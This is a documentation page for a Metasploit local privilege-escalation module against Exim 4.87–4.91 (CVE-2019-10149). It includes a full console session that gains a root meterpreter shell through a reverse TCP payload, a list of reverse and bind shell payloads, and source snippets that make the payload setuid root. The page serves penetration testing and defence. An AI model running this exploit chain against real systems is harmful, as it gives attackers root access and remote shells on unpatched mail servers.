Exim 4.87 - 4.91 Local Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/exim4_deliver_message_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Exim 4.87 - 4.91 Local Privilege Escalation
Module: exploit/linux/local/exim4_deliver_message_priv_esc
Source code: modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Disclosure date: 2019-06-05
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-10149

This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/exim4_deliver_message_priv_esc
msf exploit(exim4_deliver_message_priv_esc) > show targets
    ... a list of targets ...
msf exploit(exim4_deliver_message_priv_esc) > set TARGET target-id
msf exploit(exim4_deliver_message_priv_esc) > show options
    ... show and set options ...
msf exploit(exim4_deliver_message_priv_esc) > set SESSION session-id
msf exploit(exim4_deliver_message_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Exim 4.87 - 4.91 Local Privilege Escalation

This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149).

Both meterpreter shell and classic shell are supported. The exploit will upload the specified payload, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both PrependSetuid and PrependSetgid must be set to true (which is the default configuration for the exploit), and the WritableDir must be mounted without nosuid.

Creating A Testing Environment


You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default). For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found). You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149). Be careful if you use the exim package from the official repo of your Linux distribution, even if the version is between 4.87 and 4.91, it may still be patched against the vulnerability (it is the case on Ubuntu at least).

Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above.

Verification Steps


  1. use exploit/linux/local/exim4_deliver_message_priv_esc
  2. set SESSION [session]
  3. set PAYLOAD [payload]
  4. set LHOST [lhost]
  5. set LPORT [lport]
  6. exploit

PAYLOAD


Set this option to choose which type of root session you want to create.

EXIMPORT


The port that exim is listening to. On most cases it will be port 25 (which is the default).

ForceExploit


Force exploit even if the current session is root.

ExpectTimeout


Timeout for Expect when communicating with exim.

WritableDir


A directory where we can write files (default is /tmp).

Privilege escalation starting with a meterpreter shell


meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter >
Background session 1? [y/N]
msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50
lhost => 192.168.0.50
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371
lport => 13371
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim
EXIMPATH => /usr/exim/bin/exim
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit

[*] Started reverse TCP handler on 192.168.0.50:13371
[*] Payload sent, wait a few seconds...
[*] Sending stage (985320 bytes) to 192.168.0.80
[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100
[+] Deleted /tmp/eMhzFtUYGQ
[+] Check session 2, you should have a root shell!

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.0.80
OS           : Ubuntu 18.04 (Linux 4.18.0-25-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/local/exim4_deliver_message_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/exim4_deliver_message_priv_esc

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show info

       Name: Exim 4.87 - 4.91 Local Privilege Escalation
     Module: exploit/linux/local/exim4_deliver_message_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-05

Provided by:
  Qualys
  Dennis Herrmann
  Marco Ivaldi
  Guillaume Andr��

Available targets:
  Id  Name
  --  ----
  0   Exim 4.87 - 4.91

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXIMPORT  25               yes       The port exim is listening to
  SESSION                    yes       The session to run this module on.

Payload information:

Description:
  This module exploits a flaw in Exim versions 4.87 to 4.91 
  (inclusive). Improper validation of recipient address in 
  deliver_message() function in /src/deliver.c may lead to command 
  execution with root privileges (CVE-2019-10149).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-10149
  https://www.exploit-db.com/exploits/46996
  https://www.openwall.com/lists/oss-security/2019/06/06/1

Module Options


This is a complete list of options available in the linux/local/exim4_deliver_message_priv_esc exploit:

msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show options

Module options (exploit/linux/local/exim4_deliver_message_priv_esc):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXIMPORT  25               yes       The port exim is listening to
   SESSION                    yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Exim 4.87 - 4.91

Advanced Options


Here is a complete list of advanced options supported by the linux/local/exim4_deliver_message_priv_esc exploit:

msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show advanced

Module advanced options (exploit/linux/local/exim4_deliver_message_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExpectTimeout           3.5              yes       Timeout for Expect when communicating with exim
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                true             no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                true             no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/exim4_deliver_message_priv_esc module can exploit:

msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Exim 4.87 - 4.91

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/exim4_deliver_message_priv_esc exploit:

msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   19  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   20  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   22  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   23  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   26  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   27  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   30  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   31  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   32  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   33  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   34  payload/linux/x86/read_file                                        normal  No     Linux Read File
   35  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   36  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   37  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   38  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   41  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   42  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   45  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   46  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   47  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   48  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/exim4_deliver_message_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/exim4_deliver_message_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Couldn't connect to port <EXIMPORT>,


Here is a relevant code snippet related to the "Couldn't connect to port <EXIMPORT>," error message:

82:	      'PeerPort' => datastore['EXIMPORT']
83:	    })
84:	    begin
85:	      socket = socket_subsystem.create_tcp_client_channel(params)
86:	    rescue StandardError => e
87:	      vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
88:	                  'are you sure exim is listening on this port? (see EXIMPORT)')
89:	      raise e
90:	    end
91:	    return socket_subsystem, socket
92:	  end

Port <EXIMPORT> is closed


Here is a relevant code snippet related to the "Port <EXIMPORT> is closed" error message:

131:	        socket_subsystem.shutdown
132:	      end
133:	    else
134:	      unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
135:	                      '&& echo true').chomp.to_s == 'true'
136:	        fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
137:	      end
138:	
139:	      bash_script = %|
140:	        #!/bin/bash
141:	

bash not found


Here is a relevant code snippet related to the "bash not found" error message:

190:	      res = socket.gets
191:	      socket.close
192:	      socket_subsystem.shutdown
193:	    else
194:	      unless command_exists?('/bin/bash')
195:	        return CheckCode::Safe('bash not found')
196:	      end
197:	
198:	      res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
199:	                     "(read -u 3 && echo $REPLY) || echo false'")
200:	      if res == 'false'

Couldn't connect to port <EXIMPORT>,


Here is a relevant code snippet related to the "Couldn't connect to port <EXIMPORT>," error message:

196:	      end
197:	
198:	      res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
199:	                     "(read -u 3 && echo $REPLY) || echo false'")
200:	      if res == 'false'
201:	        vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
202:	                     'are you sure exim is listening on this port? (see EXIMPORT)')
203:	        return CheckCode::Safe
204:	      end
205:	    end
206:	

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

218:	  end
219:	
220:	  def exploit
221:	    if is_root?
222:	      unless datastore['ForceExploit']
223:	        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
224:	      end
225:	    end
226:	
227:	    unless writable?(base_dir)
228:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

223:	        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
224:	      end
225:	    end
226:	
227:	    unless writable?(base_dir)
228:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
229:	    end
230:	
231:	    if nosuid?(base_dir)
232:	      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
233:	    end

<BASE_DIR> is mounted nosuid


Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:

227:	    unless writable?(base_dir)
228:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
229:	    end
230:	
231:	    if nosuid?(base_dir)
232:	      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
233:	    end
234:	
235:	    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
236:	      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
237:	                                    'to get root privileges.')

PrependSetuid and PrependSetgid must both be set to true in order


Here is a relevant code snippet related to the "PrependSetuid and PrependSetgid must both be set to true in order" error message:

231:	    if nosuid?(base_dir)
232:	      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
233:	    end
234:	
235:	    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
236:	      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
237:	                                    'to get root privileges.')
238:	    end
239:	
240:	    unless session.type == 'meterpreter'
241:	      unless command_exists?('/bin/bash')

Couldn't escalate privileges


Here is a relevant code snippet related to the "Couldn't escalate privileges" error message:

248:	    register_file_for_cleanup(@payload_path)
249:	    inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
250:	                                  "chmod 4755 #{@payload_path}'"))
251:	
252:	    unless setuid?(@payload_path)
253:	      fail_with(Failure::Unknown, "Couldn't escalate privileges")
254:	    end
255:	
256:	    cmd_exec("#{@payload_path} & echo ")
257:	  end
258:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Qualys
  • Dennis Herrmann
  • Marco Ivaldi
  • Guillaume André

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.